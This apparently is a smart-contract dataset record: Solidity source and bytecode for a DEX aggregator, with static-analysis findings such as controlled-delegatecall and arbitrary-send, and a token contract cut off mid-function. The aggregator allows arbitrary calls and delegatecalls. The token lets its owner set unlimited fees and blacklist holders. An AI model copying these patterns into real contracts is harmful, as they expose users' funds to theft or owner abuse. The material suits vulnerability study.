function claimTokenFromSenderTo(Token _token, uint _amount, address _receiver) internal {
if (isETH(_token)) {
require(msg.value == _amount);
// dont forward ETH
}else{
require(msg.value == 0);
_token.transferFrom(msg.sender, _receiver, _amount);
}
}
// Token approval function supporting non-compliant tokens
function approve(Token _token, address _spender, uint _amount) internal {
if (!isETH(_token)) {
_token.approve(_spender, _amount);
require(
validateOptionalERC20Return(),
"ERC20 approval failed."
);
}
}
// Validate return data of non-compliant erc20s
function validateOptionalERC20Return() pure internal returns (bool){
uint256 success = 0;
assembly {
switch returndatasize() // Check the number of bytes the token contract returned
case 0 { // Nothing returned, but contract did not throw > assume our transfer succeeded
success := 1
}
case 32 { // 32 bytes returned, result is the returned bool
returndatacopy(0, 0, 32)
success := mload(0)
}
}
return success != 0;
}
function isETH(Token token) pure internal returns (bool){
if(
address(token) == address(0)
|| address(token) == EEEAddress
){
return true;
}else{
return false;
}
}
function isWETH(Token token) pure internal returns (bool){
if(address(token) == WETHAddress){
return true;
}else{
return false;
}
}
// Source: https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol
function sliceBytes(
bytes memory _bytes,
uint256 _start,
uint256 _length
)
internal
pure
returns (bytes memory)
{
require(_bytes.length >= (_start + _length), "Read out of bounds");
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
}
abstract contract IAtomicExchange is AtomicTypes{
function swap(
SwapParams memory _swap,
bytes memory data
) external payable virtual returns(
uint output
);
}
contract AtomicBlue is AtomicUtils, AtomicTypes{
// IMPORTANT NOTICE:
// NEVER set a token allowance to this contract, as everybody can do arbitrary calls from it.
// When swapping tokens always go through AtomicTokenProxy.
// This contract assumes token to swap has already been transfered to it when being called. Ether can be sent directly with the call.
// perform a distributed swap and transfer outcome to _receipient
function swapAndSend(
SwapParams memory _swap,
DistributionParams memory _distribution,
address payable _receipient
) public payable returns (uint _output){
// execute swaps on behalf of trader
_output = doDistributedSwap(_swap, _distribution);
// check if output of swap is sufficient
require(_output >= _swap.minOutput, "Slippage limit exceeded.");
// send swap output to receipient
send(_swap.buyToken, _receipient, _output);
emit Trade(
address(_swap.sellToken),
_swap.input,
address(_swap.buyToken),
_output,
msg.sender,
_receipient
);
}
function multiPathSwapAndSend(
SwapParams memory _swap,
Token[] calldata _path,
DistributionParams[] memory _distribution,
address payable _receipient
) public payable returns (uint _output){
// verify path
require(
_path[0] == _swap.sellToken
&& _path[_path.length - 1] == _swap.buyToken
&& _path.length >= 2
);
// execute swaps on behalf of trader
_output = _swap.input;
for(uint i = 1; i < _path.length; i++){
_output = doDistributedSwap(SwapParams({
sellToken : _path[i - 1],
input : _output, // output of last swap is input for this one
buyToken : _path[i],
minOutput : 0 // we check the total outcome in the end
}), _distribution[i - 1]);
}
// check if output of swap is sufficient
require(_output >= _swap.minOutput, "Slippage limit exceeded.");
// send swap output to sender
send(_swap.buyToken, _receipient, _output);
emit Trade(
address(_swap.sellToken),
_swap.input,
address(_swap.buyToken),
_output,
msg.sender,
_receipient
);
}
// internal function to perform a distributed swap
function doDistributedSwap(
SwapParams memory _swap,
DistributionParams memory _distribution
) internal returns(uint){
// count totalChunks
uint totalChunks = 0;
for(uint i = 0; i < _distribution.chunks.length; i++){
totalChunks += _distribution.chunks[i];
}
// route trades to the different exchanges
for(uint i = 0; i < _distribution.exchangeModules.length; i++){
IAtomicExchange exchange = _distribution.exchangeModules[i];
uint thisInput = _swap.input * _distribution.chunks[i] / totalChunks;
if(address(exchange) == address(0)){
// trade is not using an exchange module but a direct call
(address target, uint value, bytes memory callData) = abi.decode(_distribution.exchangeData[i], (address, uint, bytes));
(bool success, bytes memory data) = address(target).call.value(value)(callData);
require(success, "Exchange call reverted.");
}else{
// delegate call to the exchange module
(bool success, bytes memory data) = address(exchange).delegatecall(
abi.encodePacked(// This encodes the function to call and the parameters we are passing to the settlement function
exchange.swap.selector,
abi.encode(
SwapParams({
sellToken : _swap.sellToken,
input : thisInput,
buyToken : _swap.buyToken,
minOutput : 1 // we are checking the combined output in the end
}),
_distribution.exchangeData[i]
)
)
);
require(success, "Exchange module reverted.");
}
}
return balanceOf(_swap.buyToken);
}
// perform a distributed swap
function swap(
SwapParams memory _swap,
DistributionParams memory _distribution
) public payable returns (uint _output){
return swapAndSend(_swap, _distribution, msg.sender);
}
// perform a multi-path distributed swap
function multiPathSwap(
SwapParams memory _swap,
Token[] calldata _path,
DistributionParams[] memory _distribution
) public payable returns (uint _output){
return multiPathSwapAndSend(_swap, _path, _distribution, msg.sender);
}
// allow ETH receivals
receive() external payable {}
}
contract AtomicTokenProxy is AtomicUtils, AtomicTypes{
AtomicBlue constant atomic = AtomicBlue(0xeb5DF44d56B0d4cCd63734A99881B2F3f002ECC2);
// perform a distributed swap and transfer outcome to _receipient
function swapAndSend(
SwapParams calldata _swap,
DistributionParams calldata _distribution,
address payable _receipient
) public payable returns (uint _output){
// deposit tokens to executor
claimTokenFromSenderTo(_swap.sellToken, _swap.input, address(atomic));
// execute swaps on behalf of sender
_output = atomic.swapAndSend.value(msg.value)(_swap, _distribution, _receipient);
}
// perform a multi-path distributed swap and transfer outcome to _receipient
function multiPathSwapAndSend(
SwapParams calldata _swap,
Token[] calldata _path,
DistributionParams[] calldata _distribution,
address payable _receipient
) public payable returns (uint _output){
// deposit tokens to executor
claimTokenFromSenderTo(_swap.sellToken, _swap.input, address(atomic));
// execute swaps on behalf of sender
_output = atomic.multiPathSwapAndSend.value(msg.value)(
_swap,
_path,
_distribution,
_receipient
);
}
// perform a distributed swap
function swap(
SwapParams calldata _swap,
DistributionParams calldata _distribution
) public payable returns (uint _output){
return swapAndSend(_swap, _distribution, msg.sender);
}
// perform a distributed swap and burn optimal gastoken amount afterwards
function swapWithGasTokens(
SwapParams calldata _swap,
DistributionParams calldata _distribution,
IGasToken _gasToken,
uint _gasQtyPerToken
) public payable returns (uint _output){
uint startGas = gasleft();
_output = swapAndSend(_swap, _distribution, msg.sender);
_gasToken.freeFromUpTo(msg.sender, (startGas - gasleft() + 25000) / _gasQtyPerToken);
}
// perform a multi-path distributed swap
function multiPathSwap(
SwapParams calldata _swap,
Token[] calldata _path,
DistributionParams[] calldata _distribution
) public payable returns (uint _output){
return multiPathSwapAndSend(_swap, _path, _distribution, msg.sender);
}
// perform a multi-path distributed swap and burn optimal gastoken amount afterwards
function multiPathSwapWithGasTokens(
SwapParams calldata _swap,
Token[] calldata _path,
DistributionParams[] calldata _distribution,
IGasToken _gasToken,
uint _gasQtyPerToken
) public payable returns (uint _output){
uint startGas = gasleft();
_output = multiPathSwapAndSend(_swap, _path, _distribution, msg.sender);
_gasToken.freeFromUpTo(msg.sender, (startGas - gasleft() + 25000) / _gasQtyPerToken);
}
// perform a distributed swap, send outcome to _receipient and burn optimal gastoken amount afterwards
function swapAndSendWithGasTokens(
SwapParams calldata _swap,
DistributionParams calldata _distribution,
address payable _receipient,
IGasToken _gasToken,
uint _gasQtyPerToken
) public payable returns (uint _output){
uint startGas = gasleft();
_output = swapAndSend(_swap, _distribution, _receipient);
_gasToken.freeFromUpTo(msg.sender, (startGas - gasleft() + 25000) / _gasQtyPerToken);
}
// perform a multi-path distributed swap, send outcome to _receipient and burn optimal gastoken amount afterwards
function multiPathSwapAndSendWithGasTokens(
SwapParams calldata _swap,
Token[] calldata _path,
DistributionParams[] calldata _distribution,
address payable _receipient,
IGasToken _gasToken,
uint _gasQtyPerToken
) public payable returns (uint _output){
uint startGas = gasleft();
_output = multiPathSwapAndSend(_swap, _path, _distribution, _receipient);
_gasToken.freeFromUpTo(msg.sender, (startGas - gasleft() + 25000) / _gasQtyPerToken);
}
}
contract Token {
function totalSupply() view public returns (uint256 supply) {}
function balanceOf(address _owner) view public returns (uint256 balance) {}
function transfer(address _to, uint256 _value) public {}
function transferFrom(address _from, address _to, uint256 _value) public {}
function approve(address _spender, uint256 _value) public {}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint256 public decimals;
string public name;
}
contract IWETH is Token {
function deposit() public payable {}
function withdraw(uint256 amount) public {}
}
contract IGasToken {
function freeUpTo(uint256 value) public returns (uint256) {
}
function free(uint256 value) public returns (uint256) {
}
function freeFrom(address from, uint256 value) public returns (uint256) {
}
function freeFromUpTo(address from, uint256 value) public returns (uint256) {
}
}
|
0x60806040526004361061007b5760003560e01c8063b11456bd1161004e578063b11456bd146100e2578063b965c75f146100f5578063bbf6c9f114610108578063d35db4141461011b5761007b565b806333a2901e1461008057806375804f6d146100a9578063898196f1146100bc57806398933bec146100cf575b600080fd5b61009361008e3660046109c6565b61012e565b6040516100a09190610e0c565b60405180910390f35b6100936100b7366004610aa2565b6101f6565b6100936100ca3660046108dc565b6102a2565b6100936100dd36600461079b565b610354565b6100936100f036600461071c565b610425565b61009361010336600461082c565b61043f565b610093610116366004610979565b6104f2565b610093610129366004610a27565b610506565b600061015f6101406020860186610700565b856020013573eb5df44d56b0d4ccd63734a99881b2f3f002ecc26105b3565b6040516319d1480f60e11b815273eb5df44d56b0d4ccd63734a99881b2f3f002ecc2906333a2901e90349061019c90889088908890600401610dd4565b6020604051808303818588803b1580156101b557600080fd5b505af11580156101c9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906101ee9190610b09565b949350505050565b6000805a905061020786863361012e565b9150836001600160a01b031663079d229f33855a85036161a8018161022857fe5b046040518363ffffffff1660e01b8152600401610246929190610cf2565b602060405180830381600087803b15801561026057600080fd5b505af1158015610274573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102989190610b09565b5050949350505050565b6000805a90506102b6898989898933610354565b9150836001600160a01b031663079d229f33855a85036161a801816102d757fe5b046040518363ffffffff1660e01b81526004016102f5929190610cf2565b602060405180830381600087803b15801561030f57600080fd5b505af1158015610323573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103479190610b09565b5050979650505050505050565b60006103856103666020890189610700565b886020013573eb5df44d56b0d4ccd63734a99881b2f3f002ecc26105b3565b604051632624cefb60e21b815273eb5df44d56b0d4ccd63734a99881b2f3f002ecc2906398933bec9034906103c8908b908b908b908b908b908b90600401610d0b565b6020604051808303818588803b1580156103e157600080fd5b505af11580156103f5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061041a9190610b09565b979650505050505050565b6000610435868686868633610354565b9695505050505050565b6000805a90506104538a8a8a8a8a8a610354565b9150836001600160a01b031663079d229f33855a85036161a8018161047457fe5b046040518363ffffffff1660e01b8152600401610492929190610cf2565b602060405180830381600087803b1580156104ac57600080fd5b505af11580156104c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e49190610b09565b505098975050505050505050565b60006104ff83833361012e565b9392505050565b6000805a905061051787878761012e565b9150836001600160a01b031663079d229f33855a85036161a8018161053857fe5b046040518363ffffffff1660e01b8152600401610556929190610cf2565b602060405180830381600087803b15801561057057600080fd5b505af1158015610584573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a89190610b09565b505095945050505050565b6105bc83610645565b156105d2578134146105cd57600080fd5b610640565b34156105dd57600080fd5b6040516323b872dd60e01b81526001600160a01b038416906323b872dd9061060d90339085908790600401610cce565b600060405180830381600087803b15801561062757600080fd5b505af115801561063b573d6000803e3d6000fd5b505050505b505050565b60006001600160a01b038216158061067957506001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee145b156106865750600161068a565b5060005b919050565b60008083601f8401126106a0578182fd5b50813567ffffffffffffffff8111156106b7578182fd5b60208301915083602080830285010111156106d157600080fd5b9250929050565b6000606082840312156106e9578081fd5b50919050565b6000608082840312156106e9578081fd5b600060208284031215610711578081fd5b81356104ff81610e5d565b600080600080600060c08688031215610733578081fd5b61073d87876106ef565b9450608086013567ffffffffffffffff80821115610759578283fd5b61076589838a0161068f565b909650945060a088013591508082111561077d578283fd5b5061078a8882890161068f565b969995985093965092949392505050565b60008060008060008060e087890312156107b3578081fd5b6107bd88886106ef565b9550608087013567ffffffffffffffff808211156107d9578283fd5b6107e58a838b0161068f565b909750955060a08901359150808211156107fd578283fd5b5061080a89828a0161068f565b90945092505060c087013561081e81610e5d565b809150509295509295509295565b600080600080600080600080610120898b031215610848578182fd5b6108528a8a6106ef565b9750608089013567ffffffffffffffff8082111561086e578384fd5b61087a8c838d0161068f565b909950975060a08b0135915080821115610892578384fd5b5061089f8b828c0161068f565b90965094505060c08901356108b381610e5d565b925060e08901356108c381610e5d565b8092505061010089013590509295985092959890939650565b6000806000806000806000610100888a0312156108f7578283fd5b61090189896106ef565b9650608088013567ffffffffffffffff8082111561091d578485fd5b6109298b838c0161068f565b909850965060a08a0135915080821115610941578485fd5b5061094e8a828b0161068f565b90955093505060c088013561096281610e5d565b8092505060e0880135905092959891949750929550565b60008060a0838503121561098b578182fd5b61099584846106ef565b9150608083013567ffffffffffffffff8111156109b0578182fd5b6109bc858286016106d8565b9150509250929050565b600080600060c084860312156109da578283fd5b6109e485856106ef565b9250608084013567ffffffffffffffff8111156109ff578283fd5b610a0b868287016106d8565b92505060a0840135610a1c81610e5d565b809150509250925092565b60008060008060006101008688031215610a3f578081fd5b610a4987876106ef565b9450608086013567ffffffffffffffff811115610a64578182fd5b610a70888289016106d8565b94505060a0860135610a8181610e5d565b925060c0860135610a9181610e5d565b9497939650919460e0013592915050565b60008060008060e08587031215610ab7578182fd5b610ac186866106ef565b9350608085013567ffffffffffffffff811115610adc578283fd5b610ae8878288016106d8565b93505060a0850135610af981610e5d565b9396929550929360c00135925050565b600060208284031215610b1a578081fd5b5051919050565b6001600160a01b03169052565b81835260006001600160fb1b03831115610b46578081fd5b6020830280836020870137939093016020019283525090919050565b600060608301610b728384610e15565b6060865291829052908290608086015b81831015610bb35760208435610b9781610e5d565b6001600160a01b03168252938401936001939093019201610b82565b60209350610bc384870187610e15565b888303868a0152808352935091508381018484028201850183875b86811015610c5957601f19808685030185528235601e19883603018112610c03578a8bfd5b8701803567ffffffffffffffff811115610c1b578b8cfd5b803603891315610c29578b8cfd5b808652808b83018c8801378581018b018c9052958a0195601f019091169093018801925090870190600101610bde565b5050610c686040890189610e15565b9650945088810360408a0152610c7f818787610b2e565b9998505050505050505050565b8035610c9781610e5d565b6001600160a01b03908116835260208281013590840152604082013590610cbd82610e5d565b166040830152606090810135910152565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b600060e08201610d1b838a610c8c565b60e06080840152869052866101008301825b88811015610d5d5760208335610d4281610e5d565b6001600160a01b031683529283019290910190600101610d2d565b5083810360a0850152858152602080820192508087028201810188855b89811015610dbe57848303601f190186528135368c9003605e19018112610d9f578788fd5b610dab848d8301610b62565b9685019693505090830190600101610d7a565b50508094505050505061041a60c0830184610b21565b6000610de08286610c8c565b60c06080830152610df460c0830185610b62565b905060018060a01b03831660a0830152949350505050565b90815260200190565b6000808335601e19843603018112610e2b578283fd5b830160208101925035905067ffffffffffffffff811115610e4b57600080fd5b6020810236038313156106d157600080fd5b6001600160a01b0381168114610e7257600080fd5b5056fea2646970667358221220ca01bb6266925b6945b275a49f3f5f70c51cf4baf0e60829dfbf165e99e6921064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "delegatecall-loop", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,380 |
0xcbc189a5a202ada1c2b853599cfcfe49a25073f1
|
/*
▀█▀ █░█░█ █ ▀█▀ ▀█▀ █▀▀ █▀█ █▄▄ █ █▀█ █▄▄
░█░ ▀▄▀▄▀ █ ░█░ ░█░ ██▄ █▀▄ █▄█ █ █▀▄ █▄█
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TWITTERBIRB is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Twitter Birb";
string private constant _symbol = "TWITTER BIRB";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0; //
uint256 private _taxFeeOnBuy = 0; // no buy tax
//Sell Fee
uint256 private _redisFeeOnSell = 0; //
uint256 private _taxFeeOnSell = 5; // 5% sell tax
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xcC41152BD9dF3287dEfdA33Faa86E0D9A18eD1f4);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0xcC41152BD9dF3287dEfdA33Faa86E0D9A18eD1f4);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000000000 * 10**9; //
uint256 public _maxWalletSize = 100000000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
